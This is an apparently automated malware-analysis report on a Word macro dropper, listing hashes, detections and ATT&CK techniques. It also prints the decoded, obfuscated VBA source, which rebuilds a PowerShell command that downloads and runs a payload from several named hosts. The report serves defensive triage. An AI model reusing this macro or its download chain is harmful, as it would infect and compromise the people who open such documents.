Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e8d15f18de1824f7…

MALICIOUS

Office (OLE)

90.0 KB Created: 2017-11-10 16:33:00 Authoring application: Microsoft Office Word First seen: 2017-11-20
MD5: d5fb031379a09b90bb99ec6369c7a5fc SHA-1: 813746cfd8513648f78782bd57c05786a5fad09a SHA-256: e8d15f18de1824f772b9b299d5878a6901a61847b7f926e315f95e613dcc626f
304 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1140 Deobfuscate or Obfuscate Malicious Code T1071.001 Web Protocols T1204.002 Malicious File

The sample contains an obfuscated VBA auto-exec loader that uses Shell() calls. The script attempts to download and execute a second-stage payload from the reconstructed URL 'http://www.ledpublicidad.com/jtvsZOP/UI.Split'. This indicates a dropper functionality, aiming to deliver further malicious content.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6373046-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6373046-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 50024 bytes
SHA-256: af533a87d0e069061a945c6583c8ac9d3810db231f968292a97f9afa3ae76909
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 44 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "DfHDUwJfR"
Function oLZcCYtZz()
mMGCw = Mid("7l6AiCIdfpZSPzGGbPIm+PImcPIm'+'+PImdPBPA+BPAIm+PIm){PIm+PImBPA+BPAt'+'ry{PIm+PIm1HrGSwm6sbWs", 17, 64) + dUlSIzX + KRQIPnP
pjdFKjC = Mid("voWcKGjk+'t.WebClienPIm+PImt;4LPIm+PImonsPIm+PImaPIm+BPA+BPAPImdaPIm+PImBPA+BPAsd = new-oPIm+PImbject PIm+PImrandom;4PIm+PImLoBwKVv", 9, 118) + TwvjJmT + JOwProd
RKfpPLGQC = Mid("99QzjwLDu5vodRFETHRzUMjPImgov.ruPIm+PIm/PIm+PImQ/PIm+PIm,httPIm+PImpPIm+PIm:/PIm+'+'PIm/w'+'PIm+PImww.ledpublPIm+PImicPIm+PImidad.PIm+PImcomPIBPA+BPAm+PIm/PIm+PImjtvsZOPIm+PIm/UPI.SpPIm+PImlit(UPPIm+PImIPIm+PIm,BPA+BPAUY7jqABPI", 24, 196) + PsuszwS + NjicPhH
bAiABwa = Mid("v15HpUmCW18JRuLImokPIm+PImePIm+PIm-Item(4LPIm+PImohuPIm+PImas);bBPA+BPArPIm+PImeakPIm+PIm;PIm+PIm}catPIm+PImch{w'+'PIm+PBPAmQsOtEiniXYcEnNXV5", 16, 108) + zCrBZzE + VzpicJX
sziaMvNQAT = Mid("MjGYWCqZWPCEKXXTFAPBPA+BPAImtv.ru/UaPIm+PImmuKMp'+'u/PIm+PIm,htPIm+PImtYv35fEnL9ZCwkcOj7ELXw", 18, 54) + WnMpchb + lOHIuwi
StziRtw = Mid("TvHJbcVt8kOw8m53]+PImXPIBPA+BPAm)BPA).REpLacE(BPANcE'+'BPA,[stR'+'ing][cHAR]36).REpLacE(BPAzeTBPA,[stRing]['+'cHAR]'+'124).REpLacE(BPAPImBPPcKMFShm2U", 16, 124) + qViijcB + Rmhpnkf
rhNwjlQIL = Mid("2NGPIm+P'+'ImPI)PIm+PIm;4'+'LoPIm+BPA+BPAPBPA+BPAImka'+'rapasPIm+PIm BPA+BPA= 4BPA+BP'+'ALonsPIm+PIm'+'aPIm+PImOGAZCVlv0c", 4, 107) + ikoWlXl + ZMPCSIt
zjWoboih = Mid("SbDIu1puPIm+PImbPIm+PImlic +PIm+PIm PIm+PImUPIPIm+PImCPIm+PK10QiltjDV8B3p6", 7, 53) + VaiJQEz + BQzHZsO
rbTERRXjR = Mid("itadm3bii6smSPUl3p://PIm+PIBPA+BPAmrPIm+PImemPIm+PImoPIm+PImnPIm+PImt-shla'+'nPIm+aoF2m", 18, 65) + vDLzfro + UIsorkE
zdqBftiqE = Mid("V9hioM+BPAImrite-PIm+PImhosPIm+PImt 4LoPIm+PBPA+BPAI'+'m_PBPA+BPAIm+PIm.ExcepPIm+PImtPIm+'+'PImion.MesPIm+PImsBPA+BPAa'+'gPIm+PImePIm+PIm;}PImBPA+BPA+PIm}PIm).reVtctO", 7, 155) + AHCIfVv + vbNXsEC
MiDwTm = Mid("Nj6tpPhbcdPIm+PIm PIm+PIm= UPIm+PImPPIm+PImIhtPIm+PImtPIm+PImp:/PIm+PIm/a2aventuPIm+PImres.in/PIm+BPA+BPAPBfmhBuHr", 8, 99) + CnNVjIk + miFjDtj
uflhFrqV = Mid("zzSVqwGHbc60KUPAPImriPIBPA+BPAm+BPA+BPr676N", 15, 24) + jBqRLZZ + JWUujKS
SzUrrlG = Mid("1JSSqUwHwU1Vr846CcGHtqEcjqQCh (' iex((BPA BPA+BPA(PIBPA+BPAm4LPIm+PImofPIm+PIBPA+B'+'PAmranc PIm+PIm= new-ob'+'jectPIBPA+BPAm+PIm PIm+PImSPIm+PImystem.Ne'2uzmU", 30, 125) + LGElVzD + smiKNjA
jGvmK = Mid("w).replACE(([cHaR]66+[cHaR]80+[cHaR]65),[STRING][cHaR]39) |.( $enV:PUBliC[13]+$Env:PuBLIC[5]+'x')TJGPkcdFvuiPM", 2, 96) + vFQLmKO + puoTIKT
SdzRNvE = Mid("JuT0tjmMirscImFVgNuPIm+PIm/PImBPA+B'+'PA+PIm,http:PIm+PIm//beP'+'Im+BPA+BPAPI'+'mnitPIm+PBPA+BP0iDtUz5FSKu4PZXzLIrj", 13, 83) + GwSqTrc + tCzpFdh
fWQmHERA = Mid("Sn7m4LofrancPIm+PIm.Do'+'wnloadFile(BPA+BPA4PIm+PBPA+BPAImLoPIm+PIma'+'bc.TBPA+BPAoSPI'+'m+PImtrPIm+PIming(PIm+PIm),PIm+PIm 4LPIm+PImohPI'+'BPA+BPAm+PImuas)PIm+PIm;PIm+PImInvPIm+PDujd954B5wiNOkEjzApm", 5, 175) + LBEWbnr + BSrcDJF
EHtvcOwNwpj = Mid("8qnXWXCAIm.bPIm+BPA+BPAPImiz/eBPA+BPAPIm+PImsuBPIm+PImzzmBPA+BPAUPIm+PIm/,PIm+PImhPIm+PImttp:PI'+'m+PIm//remPBPA+BPAIm+PImoPIm+PImnt-bPIm+BPA+B64fjuKi69jCp7LNARq03mffEdvVwjSB", 8, 136) + zqpJLqv + ljCtoFn
bcWuh = Mid("wPLAce(PImCBPA+BPAydPIm,[striNg'+'][cHAr'+']92).rePLAce(PImUPIPIm,[striNg][cHAr]39).rePLAce(([cHAr]BPA+BPA52+[cHAr]76+['+'cHAr]111),[striNg][cHAr]'+'36) ze'+'T.( NcEShELLiD[1]+NcESHElLid[1CbAQnPZfzUctTPB00UCNVG", 2, 187) + LwDLMUB + mtwOPaf
wOWGnI = Mid("fU598sDjij0BNmdaBPA+BPAPIm+PImsd.nexPIm+PImt(BPA+B'+'PA1PImBPA+BPA+PIm,'+' 3432PIm+PIm45PImBPA+BPA+PIm)'+';PIm+PIm4LohuP'+'Im+PImaPIm+PIms = 4LBPA+BPAoen'+'v:opPvaGW2SLw6JsAAq", 14, 145) + zFZCCXD + pdsSiXl
hfRiSUsu = Mid("DHAR]39) )'dj YDTZw7Wn", 2, 10) + kqAUmws + pMYIMco
tsolo = Mid("CViLCfbRizwImBPA+BPAydUPPIm+PImI + 4LoPIm+PImkaPIm+PImrapas PIm+PIm+ UPI.exPIm+BPA+BPAPImeUPIPIm+PIm;forPIm+'+'PImePIm+PImaBPA+BPAcPIm+P'+'ImhPIm+PIm(4LoabPIm+PBPA+BPAImc iPIm+PImn 4PIm+PIm
... (truncated)

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